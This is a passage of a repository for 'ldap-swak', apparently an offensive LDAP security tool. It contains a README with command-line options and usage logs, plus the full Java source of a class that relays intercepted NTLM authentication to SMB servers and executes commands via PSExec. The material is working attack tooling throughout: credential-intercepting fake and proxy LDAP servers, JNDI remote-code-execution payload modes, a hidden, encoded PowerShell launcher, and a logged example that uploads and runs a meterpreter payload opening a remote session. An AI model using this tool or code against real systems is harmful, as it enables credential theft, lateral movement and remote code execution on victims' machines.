-jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar 24 | [...] 25 | LDAP Swiss Army Knife 26 | --accept-pass= 27 | Accept login using this pass 28 | --accept-user= 29 | Accept login using this user 30 | --bind= Network address to bind to 31 | --cert= Certificate file to use (PEM, in conjunction with --key) 32 | --fakecert-bits= 33 | RSA keySize when generating private key for fake 34 | certificates 35 | Default: 2048 36 | --fakecert-cn= 37 | Subject DN to use when creating fake certificates 38 | Default: cn=fake 39 | --fakecert-lifetime= 40 | Lifetime of fake certificate in days 41 | Default: 7 42 | --fakecert-san= 43 | Fake certificate subject alternative names 44 | --fakecert-sigalg= 45 | Signature algorithm to use when generating fake 46 | certificates 47 | Default: SHA256withRSA 48 | --fakecert-validfrom= 49 | Fake certificate validity start 50 | --fakecert-validto= 51 | Fake certificate validity end 52 | --key= Private key file to use (PEM, in conjunction with 53 | --cert) 54 | --keystore= Keystore to load key/certificate from 55 | --keystore-pass= 56 | Default: changeit 57 | --keystore-type= 58 | Keystore type 59 | Default: JKS 60 | --nostarttls Disable StartTLS 61 | --ntlm-relay= 62 | Relay intecepted NTLM exchange to SMB server for PSExec 63 | --psexec-cmd= 64 | Using the relayed credentials, run system command using 65 | PSExec 66 | --psexec-cmd-log= 67 | Redirect CMD command output to file (filesystem path) 68 | --psexec-cmd-script-loc= 69 | SHARE/Path for launcher script file used for output 70 | redirection 71 | Default: /ADMIN$/Temp/ 72 | --psexec-cmd-script-path= 73 | Local filesystem for launcher script file used for 74 | output redirection 75 | Default: C:\Windows\Temp\ 76 | --psexec-display-name= 77 | Display name of service used for PSExec 78 | --psexec-psh-encode Encode PSExec Powershell Payload 79 | --psexec-script= 80 | Using the relayed credentials, run Powershell code 81 | using PSExec (size limits apply) 82 | --psexec-script-file= 83 | Using the relayed credentials, run Powershell code from 84 | script file using PSExec (size limits apply) 85 | --psexec-service-name= 86 | Name of service used for PSExec 87 | --relay-read-charset= 88 | Charset for reading remote files, only relevant when 89 | outputting 90 | Default: UTF-8 91 | --relay-read-from= 92 | Using the relayed credentials, read file from this 93 | target share/path (SHARE/path/) 94 | --relay-read-retries= 95 | Number of retries reading the file, possibly waiting 96 | for the command to complete, each 1 second apart 97 | Default: 5 98 | --relay-read-to= 99 | Local file to store the read file data, leave empty for 100 | stdout 101 | --relay-write-file= 102 | Using the relayed credentials, write this local file to 103 | the server 104 | --relay-write-to= 105 | Using the relayed credentials, write file to this 106 | target share/path (SHARE/path/) 107 | --request-log Log all requests 108 | --schemaless Don't provide any schema 109 | --server-base-dn= 110 | Base DNs to report 111 | --ssl Run a SSL/TLS listener 112 | --tls-cipher= 113 | TLS ciphers to allow 114 | see https://docs.oracle. 115 | com/javase/9/docs/specs/security/standard-names.html 116 | --tls-proto= 117 | TLS versions to allow (TLS12, TLS11, TLS10, SSLv3, 118 | SSLv2} 119 | --uid-attr= Attributes to extract username from DNs 120 | --write-creds= 121 | Write intercepted credentials to this file (format: 122 | user pass, one per line) 123 | -h, --help Display this help message. 124 | -p, --port= Port to bind to (defaults: 389 for normal, 636 for SSL) 125 | -q, --quiet Only show warnings and errors 126 | -v, --verbose Specify multiple -v options to increase verbosity. 127 | For example, `-v -v -v` or `-vvv` 128 | -V, --version print version information and exit 129 | Commands: 130 | fake Launch fake LDAP server 131 | proxy Launch proxy LDAP server 132 | jndi Java JNDI Exploits 133 | ``` 134 | 135 | SSL/TLS/StartTLS listeners use a self-signed certificiate if no other 136 | certificate is provided. --tls-cipher and --tls-proto can be used to 137 | set the allowed ciphers. However, using legacy algorithms requires 138 | adjustments to the Java installation's java.security.properties file. 139 | See https://www.java.com/en/configure_crypto.html 140 | 141 | ## Subcommands - Modes of Operation 142 | 143 | ### fake - Fake Server 144 | Just intercept credentials or provide some data to the client. 145 | 146 | Additional options: 147 | ``` 148 | --load= LDIF file with data to load 149 | --schema= LDIF file containing schema definition 150 | (if the server is not run --schemaless a basic default schema is applied) 151 | ``` 152 | 153 | ``` 154 | > java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389 155 | 12:52:32.484 INFO FakeServer - Starting StartTLS listener on *:1389 156 | 157 | > ldapsearch -H ldap://localhost:1389/ -ZZ -x -D cn=test -w test 158 | ldap_bind: Invalid credentials (49) 159 | 160 | => 12:53:35.653 INFO CredentialsOperationInterceptor - Intercepted credentials cn=test:test 161 | ``` 162 | 163 | ### proxy - Proxy Server 164 | Forward all requests to a set of target servers. 165 | This also records intercepted credentials. 166 | 167 | Additional options: 168 | ``` 169 | --server= Backend servers to connect to 170 | --proxy-ssl Connect to backend servers using SSL 171 | --proxy-starttls Connect to backend servers using StartTLS 172 | --srv= Resolve backend server from DNS SRV record 173 | (e.g. --srv _ldap._tcp.dc._msdcs.) 174 | ``` 175 | 176 | ``` 177 | > java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar proxy -p 2389 --server localhost:1389 178 | 12:54:19.695 INFO ProxyServer - Starting StartTLS proxy on *:2389 179 | > ldapsearch -H ldap://localhost:2389/ -ZZ -x -D cn=foo -w test -b cn=test 180 | ldap_bind: Invalid credentials (49) 181 | 182 | => 12:54:47.230 INFO CredentialsOperationInterceptor - Intercepted credentials cn=foo:test 183 | ``` 184 | 185 | ### jndi - Java JNDI Exploits 186 | 187 | Multiple specific fake server modes for exploiting Java JNDI LDAP clients. 188 | 189 | #### Reference 190 | 191 | Options: 192 | ``` 193 | --ref-class= Class to load (ObjectFactory) 194 | --ref-codebase= URL codebase to load class from 195 | ``` 196 | 197 | For all requests return a JNDI reference object with a ObjectFactory from 198 | the specified classpath. When a JNDI client makes a request with lookup() 199 | semantics, this class is loaded and thereby code execution is achieved. 200 | 201 | The remote classloading has been disabled by default starting with 202 | Java 11.0.1, 8u191, 7u201, and 6u211 (CVE-2018-3149). 203 | 204 | Regular references, redirecting to another server/protocol can be 205 | specified as well with the options: 206 | 207 | ``` 208 | --ref-address= Reference address (multiple possible) 209 | --ref-factory= Factory class to use 210 | ``` 211 | 212 | #### Referral 213 | 214 | Options: 215 | ``` 216 | --referral= URI to return as referral 217 | ``` 218 | 219 | JNDI clients that are configured to follow referrals, can be redirected to 220 | RMI services using rmi: URLs. Accessing these services enables deserialization 221 | attacks, in misconfigured or outdated Java versions RCE by returning a Reference 222 | object from the RMI lookup can be achieved. 223 | (https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/RMIRefServer.java) 224 | 225 | #### Serialized object 226 | 227 | Options: 228 | ``` 229 | --serialized= File containing serialized data to return 230 | ``` 231 | 232 | For all requests returns a serialized Java Objects. 233 | When a JNDI client makes a request with lookup() semantics, 234 | the provided data will be deserialized. 235 | 236 | 237 | 238 | 239 | ## NTLM Relaying 240 | 241 | The LDAP servers allow forwarding the NTLM exchange to a remote SMB server. 242 | Often, this grants access to the targeted servers files and RPC interfaces 243 | with the permissions of the authenticating user account. 244 | 245 | Three basic operations on the target server are implemented: 246 | - reading files 247 | - executing system commands and powershell (PSExec/SMBExec) 248 | - writing files 249 | 250 | The order of operations is a convenient write/execute/read. 251 | 252 | 253 | For example, upload and launch a meterpreter instance: 254 | ``` 255 | java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389 --ntlm-relay 192.168.56.101 --relay-write-file /tmp/test.exe --relay-write-to 'ADMIN$/Temp/foo.exe' --psexec-cmd "C:\\Windows\\Temp\\foo.exe" 256 | 10:36:53.789 INFO FakeServer - Starting StartTLS listener on *:1389 257 | 10:36:56.278 INFO PassTheHashNTLMSASLBindHandler - Have NTLM login administrator@DESKTOP-L96LL3H 258 | 10:36:56.325 INFO PassTheHashRunner - Command line %COMSPEC% /b /c start /b /min C:\Windows\Temp\foo.exe 259 | 10:36:56.333 INFO PassTheHashRunner - Service already exists 260 | 10:36:56.337 INFO PassTheHashRunner - Recreated service 261 | 10:36:56.355 INFO PassTheHashRunner - Service start timeout, expected: this is not an actual service binary 262 | 263 | 264 | [*] Meterpreter session 4 opened (192.168.56.1:8443 -> 192.168.56.101:49696) at 2019-02-19 10:36:56 +0100 265 | ``` 266 | 267 | Or, execute a system command and get it's output: 268 | ``` 269 | java -jar target/ldap-swak-0.0.5-SNAPSHOT-all.jar fake -p 1389 --ntlm-relay 192.168.56.101 --psexec-cmd "net user" --psexec-cmd-log C:\\Windows\\Temp\\test.log --relay-read-from 'ADMIN$/Temp/test.log' 270 | 10:39:09.154 INFO FakeServer - Starting StartTLS listener on *:1389 271 | 10:39:12.564 INFO PassTheHashNTLMSASLBindHandler - Have NTLM login administrator@DESKTOP-L96LL3H 272 | 10:39:12.600 INFO PassTheHashRunner - Command line %COMSPEC% /b /c start /b /min C:\Windows\Temp\launch-1550569151302.cmd 273 | 10:39:12.610 INFO PassTheHashRunner - Service already exists 274 | 10:39:12.614 INFO PassTheHashRunner - Recreated service 275 | 10:39:12.632 INFO PassTheHashRunner - Service start timeout, expected: this is not an actual service binary 276 | 277 | User accounts for \\ 278 | 279 | ------------------------------------------------------------------------------- 280 | Administrator DefaultAccount Guest 281 | mbechler WDAGUtilityAccount 282 | The command completed with one or more errors. 283 | ``` 284 | 285 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/PassTheHashRunner.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import java.io.InputStreamReader; 7 | import java.io.OutputStream; 8 | import java.io.OutputStreamWriter; 9 | import java.io.Reader; 10 | import java.net.URI; 11 | import java.net.URISyntaxException; 12 | import java.nio.charset.Charset; 13 | import java.nio.charset.StandardCharsets; 14 | import java.nio.file.Files; 15 | import java.nio.file.StandardOpenOption; 16 | import java.util.Base64; 17 | 18 | import org.slf4j.Logger; 19 | import org.slf4j.LoggerFactory; 20 | 21 | import gs.sy.m8.ldapswak.svcctl.SCMRCloseServiceHandle; 22 | import gs.sy.m8.ldapswak.svcctl.SCMRCreateServiceW; 23 | import gs.sy.m8.ldapswak.svcctl.SCMRDeleteService; 24 | import gs.sy.m8.ldapswak.svcctl.SCMROpenSCManagerW; 25 | import gs.sy.m8.ldapswak.svcctl.SCMROpenServiceW; 26 | import gs.sy.m8.ldapswak.svcctl.SCMRStartService; 27 | import jcifs.CIFSContext; 28 | import jcifs.CIFSException; 29 | import jcifs.DialectVersion; 30 | import jcifs.SmbResource; 31 | import jcifs.config.BaseConfiguration; 32 | import jcifs.context.BaseContext; 33 | import jcifs.dcerpc.DcerpcBinding; 34 | import jcifs.dcerpc.DcerpcException; 35 | import jcifs.dcerpc.DcerpcHandle; 36 | import jcifs.ntlmssp.Type1Message; 37 | import jcifs.ntlmssp.Type2Message; 38 | import jcifs.ntlmssp.Type3Message; 39 | import jcifs.smb.NtStatus; 40 | import jcifs.smb.SmbAuthException; 41 | import jcifs.smb.SmbException; 42 | 43 | public class PassTheHashRunner extends Thread { 44 | 45 | private static final Logger log = LoggerFactory.getLogger(PassTheHashRunner.class); 46 | 47 | private static final long TIMEOUT = 5000; 48 | 49 | private final BaseContext ctx; 50 | private PassTheHashNtlmCredentials creds; 51 | 52 | private final BaseCommand config; 53 | 54 | static { 55 | DcerpcBinding.addInterface("svcctl", "367abb81-9844-35f1-ad32-98f038001003:2.0"); 56 | } 57 | 58 | public PassTheHashRunner(Type1Message t1, BaseCommand config) throws CIFSException { 59 | this.config = config; 60 | this.ctx = new BaseContext(new BaseConfiguration(true) { 61 | 62 | @Override 63 | public boolean isDfsDisabled() { 64 | return true; 65 | } 66 | 67 | @Override 68 | public boolean isUseRawNTLM() { 69 | return true; 70 | } 71 | 72 | @Override 73 | public boolean isSigningEnabled() { 74 | return false; 75 | } 76 | 77 | @Override 78 | public boolean isIpcSigningEnforced() { 79 | return false; 80 | } 81 | 82 | @Override 83 | public DialectVersion getMaximumVersion() { 84 | return DialectVersion.SMB202; 85 | } 86 | 87 | @Override 88 | public boolean isRequireSecureNegotiate() { 89 | return false; 90 | } 91 | }); 92 | this.creds = new PassTheHashNtlmCredentials(t1.toByteArray()); 93 | setUncaughtExceptionHandler(new UncaughtExceptionHandler() { 94 | 95 | @Override 96 | public void uncaughtException(Thread t, Throwable e) { 97 | log.error("Pass the hash routine failed", e); 98 | creds.getContext().fail(); 99 | } 100 | }); 101 | } 102 | 103 | public Type2Message go() throws InterruptedException { 104 | super.start(); 105 | return this.creds.getContext().waitForType2(TIMEOUT); 106 | } 107 | 108 | public void feed(Type3Message t3) throws InterruptedException { 109 | this.creds.getContext().setType3(t3); 110 | join(30000); 111 | if (isAlive()) { 112 | interrupt(); 113 | join(1000); 114 | } 115 | } 116 | 117 | @Override 118 | public void run() { 119 | try { 120 | CIFSContext pthctx = ctx.withCredentials(creds); 121 | if (this.config.writeFileSource != null) { 122 | doWriteFile(pthctx); 123 | } 124 | 125 | if (this.config.psexecPSHScriptFile != null || this.config.psexecPSHScript != null) { 126 | String script; 127 | if (this.config.psexecPSHScriptFile != null) { 128 | try { 129 | script = new String(Files.readAllBytes(this.config.psexecPSHScriptFile), 130 | StandardCharsets.UTF_8); 131 | } catch (IOException e) { 132 | log.error("Failed to read Powershell script " + this.config.psexecPSHScriptFile, e); 133 | return; 134 | } 135 | 136 | } else { 137 | script = this.config.psexecPSHScript; 138 | 139 | } 140 | runPSExecPSH(pthctx, this.config.relayServer, this.config.psexecServiceName, 141 | this.config.psexecDisplayName, script, this.config.psexecPSHEncode); 142 | } else if (this.config.psexecCMD != null) { 143 | if ( ! doLaunchCMD(pthctx)) { 144 | return; 145 | } 146 | } else if (this.config.readFileSource == null && this.config.writeFileTarget == null) { 147 | throw new UnsupportedOperationException("No relay action has been specified"); 148 | } 149 | 150 | if (this.config.readFileSource != null) { 151 | int retries = this.config.readFileRetries; 152 | while (retries> 0) { 153 | if ( !doReadFile(pthctx)) { 154 | break; 155 | } 156 | retries--; 157 | } 158 | } 159 | } catch (URISyntaxException e) { 160 | log.error("Invalid URI", e); 161 | } catch ( InterruptedException e ) { 162 | log.debug("Interrupted", e); 163 | } 164 | } 165 | 166 | private boolean doLaunchCMD(CIFSContext pthctx) throws URISyntaxException { 167 | String launch; 168 | if (this.config.psexecCMDLog != null) { 169 | 170 | String scriptFilename = "launch-" + System.currentTimeMillis() + ".cmd"; 171 | String scriptFileLoc = this.config.psexecCMDScriptLoc; 172 | String scriptFilePath = this.config.psexecCMDScriptPath; 173 | 174 | URI uri = new URI("smb", this.config.relayServer, scriptFileLoc + scriptFilename, null); 175 | try (SmbResource r = pthctx 176 | .get(uri.toString()); 177 | OutputStream os = r.openOutputStream(); 178 | OutputStreamWriter wr = new OutputStreamWriter(os, StandardCharsets.US_ASCII)) { 179 | wr.write(this.config.psexecCMD + " > " + this.config.psexecCMDLog); 180 | } catch (Exception e) { 181 | log.error("Failed to write script file " + uri, e); 182 | return false; 183 | } 184 | 185 | launch = scriptFilePath + scriptFilename; 186 | } else { 187 | launch = this.config.psexecCMD; 188 | } 189 | 190 | // CMD 191 | String cmd = "%COMSPEC% /b /c start /b /min " + launch; 192 | log.info("Command line {}", cmd); 193 | runPSExec(pthctx, this.config.relayServer, this.config.psexecServiceName, this.config.psexecDisplayName, cmd); 194 | 195 | return true; 196 | } 197 | 198 | private void doWriteFile(CIFSContext pthctx) throws URISyntaxException { 199 | if (this.config.writeFileTarget == null) { 200 | throw new IllegalArgumentException("Missing target file"); 201 | } 202 | 203 | URI uri = new URI("smb", this.config.relayServer, "/" + this.config.writeFileTarget, null); 204 | try (InputStream is = Files.newInputStream(this.config.writeFileSource, StandardOpenOption.READ); 205 | SmbResource r = pthctx.get(uri.toString()); 206 | OutputStream os = r.openOutputStream()) { 207 | copyStream(is, os); 208 | } catch (Exception e) { 209 | log.error("Failed to write file to server", e); 210 | } 211 | } 212 | 213 | /** 214 | * 215 | * @return whether to retry reading the file 216 | */ 217 | private boolean doReadFile(CIFSContext pthctx) throws URISyntaxException, InterruptedException { 218 | URI uri = new URI("smb", this.config.relayServer, "/" + this.config.readFileSource, null); 219 | if (this.config.readFileTarget == null) { 220 | try (SmbResource r = pthctx.get(uri.toString()); 221 | InputStream is = r.openInputStream(); 222 | Reader rdr = new InputStreamReader(is, Charset.forName(this.config.readFileCharset)); 223 | BufferedReader br = new BufferedReader(rdr)) { 224 | String line; 225 | while ((line = br.readLine()) != null) { 226 | System.out.println(line); 227 | } 228 | } catch (Exception e) { 229 | return handleReadError(uri,e); 230 | 231 | } 232 | 233 | } else { 234 | try (SmbResource r = pthctx 235 | .get(new URI("smb", this.config.relayServer, this.config.readFileSource, null).toString()); 236 | InputStream is = r.openInputStream(); 237 | OutputStream os = Files.newOutputStream(this.config.readFileTarget, StandardOpenOption.WRITE);) { 238 | copyStream(is, os); 239 | } catch (Exception e) { 240 | log.error("Failed to read file from server" + uri, e); 241 | return handleReadError(uri,e); 242 | } 243 | } 244 | 245 | return false; 246 | } 247 | 248 | private boolean handleReadError(URI uri, Exception e) throws InterruptedException { 249 | if ( e instanceof SmbException ) { 250 | int nt = ((SmbException) e).getNtStatus(); 251 | if ( nt == NtStatus.NT_STATUS_ACCESS_VIOLATION || nt == NtStatus.NT_STATUS_NO_SUCH_FILE ) { 252 | log.debug("Failed to read file from server " + uri, e); 253 | Thread.sleep(1000); 254 | return true; 255 | } 256 | } 257 | log.error("Failed to read file from server " + uri, e); 258 | return false; 259 | } 260 | 261 | private static void copyStream(InputStream is, OutputStream os) throws IOException { 262 | byte[] buf = new byte[4096]; 263 | int read = 0; 264 | while ((read = is.read(buf)) >= 0) { 265 | os.write(buf, 0, read); 266 | } 267 | } 268 | 269 | private void runPSExecPSH(CIFSContext pthctx, String server, String sname, String displayName, String script, 270 | boolean encode) { 271 | String baseCmd = "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni"; 272 | String cmd; 273 | if (encode) { 274 | String encoded = Base64.getEncoder().encodeToString(script.getBytes(StandardCharsets.UTF_16LE)); 275 | cmd = baseCmd + " -EncodedCommand " + encoded; 276 | } else { 277 | cmd = baseCmd + " -c \"" + script + "\""; 278 | } 279 | 280 | log.info("Command line {}", cmd); 281 | runPSExec(pthctx, server, sname, displayName, cmd); 282 | } 283 | 284 | private void runPSExec(CIFSContext ctx, String server, String sname, String displayName, String cmd) { 285 | try { 286 | DcerpcHandle hdl = DcerpcHandle.getHandle("ncacn_np:" + server + "[\\PIPE\\svcctl]", ctx); 287 | hdl.bind(); 288 | 289 | log.debug("Service connection successful"); 290 | 291 | SCMROpenSCManagerW scm = new SCMROpenSCManagerW(server, null, 0x00000010 | 0x00000002 | 0x00000001); 292 | hdl.sendrecv(scm); 293 | if (scm.retval == 5) { 294 | log.error( 295 | "Access to service manager denied. Non-admin account or LocalAccountTokenFilterPolicy active"); 296 | return; 297 | } else if (scm.retval != 0) { 298 | throw new SmbException(scm.retval, false); 299 | } 300 | 301 | try { 302 | SCMRCreateServiceW cs = doCreate(scm.handle, sname, displayName, cmd); 303 | hdl.sendrecv(cs); 304 | 305 | byte[] sh = null; 306 | try { 307 | 308 | if (cs.retval == 1073) { 309 | SCMRCreateServiceW rcs = recreateService(sname, displayName, cmd, hdl, scm); 310 | sh = rcs.serviceHandle; 311 | } else if (cs.retval == 1072) { 312 | log.error("Service is pending deletion, try again later"); 313 | return; 314 | } else if (cs.retval != 0) { 315 | throw new SmbException(cs.retval, false); 316 | } else { 317 | sh = cs.serviceHandle; 318 | } 319 | 320 | SCMRStartService start = new SCMRStartService(sh, null); 321 | hdl.sendrecv(start); 322 | 323 | if (start.retval == 1053) { 324 | log.info("Service start timeout, expected: this is not an actual service binary"); 325 | } else if (start.retval == 5) { 326 | log.error("Access denied starting command"); 327 | } else if (start.retval != 0) { 328 | throw new SmbException(start.retval, false); 329 | } 330 | 331 | } finally { 332 | if (sh != null) { 333 | try { 334 | SCMRDeleteService del = new SCMRDeleteService(sh); 335 | hdl.sendrecv(del); 336 | } finally { 337 | hdl.sendrecv(new SCMRCloseServiceHandle(sh)); 338 | } 339 | } 340 | } 341 | } finally { 342 | hdl.sendrecv(new SCMRCloseServiceHandle(scm.handle)); 343 | } 344 | 345 | } catch (SmbAuthException e) { 346 | log.error("Login failed for {}: {}", creds.getUsername(), e.getMessage()); 347 | log.debug("Login failure", e); 348 | } catch (Exception e) { 349 | log.error("Failed to pass-the-hash", e); 350 | } 351 | } 352 | 353 | private SCMRCreateServiceW recreateService(String sname, String displayName, String cmd, DcerpcHandle hdl, 354 | SCMROpenSCManagerW scm) throws DcerpcException, IOException, SmbException, InterruptedException { 355 | log.info("Service already exists"); 356 | 357 | SCMROpenServiceW s = new SCMROpenServiceW(scm.handle, sname, 0x000F01FF); 358 | hdl.sendrecv(s); 359 | 360 | if (s.retval != 0) { 361 | throw new SmbException(s.retval, false); 362 | } 363 | 364 | SCMRDeleteService del; 365 | try { 366 | del = new SCMRDeleteService(s.serviceHandle); 367 | hdl.sendrecv(del); 368 | } finally { 369 | hdl.sendrecv(new SCMRCloseServiceHandle(s.serviceHandle)); 370 | } 371 | 372 | if (del.retval != 0) { 373 | throw new SmbException(del.retval, false); 374 | } 375 | 376 | SCMRCreateServiceW cs; 377 | do { 378 | cs = doCreate(scm.handle, sname, displayName, cmd); 379 | hdl.sendrecv(cs); 380 | if (cs.retval == 1072) { 381 | Thread.sleep(1000); 382 | } 383 | 384 | } while (cs.retval == 1072); 385 | 386 | if (cs.retval != 0) { 387 | throw new SmbException(cs.retval, false); 388 | } 389 | log.info("Recreated service"); 390 | return cs; 391 | } 392 | 393 | private SCMRCreateServiceW doCreate(byte[] handle, String name, String displayName, String cmd) { 394 | SCMRCreateServiceW cs = new SCMRCreateServiceW(handle); 395 | 396 | cs.serviceType = 0x10; // SERVICE_WIN32_OWN_PROCESS 397 | cs.startType = 0x3; // SERVICE_DEMAND_START 398 | cs.desiredAccess = 0x00000010 | 0x00000004; 399 | cs.serviceName = name; 400 | cs.displayName = displayName; 401 | cs.binaryPathName = cmd; 402 | return cs; 403 | } 404 | } 405 | --------------------------------------------------------------------------------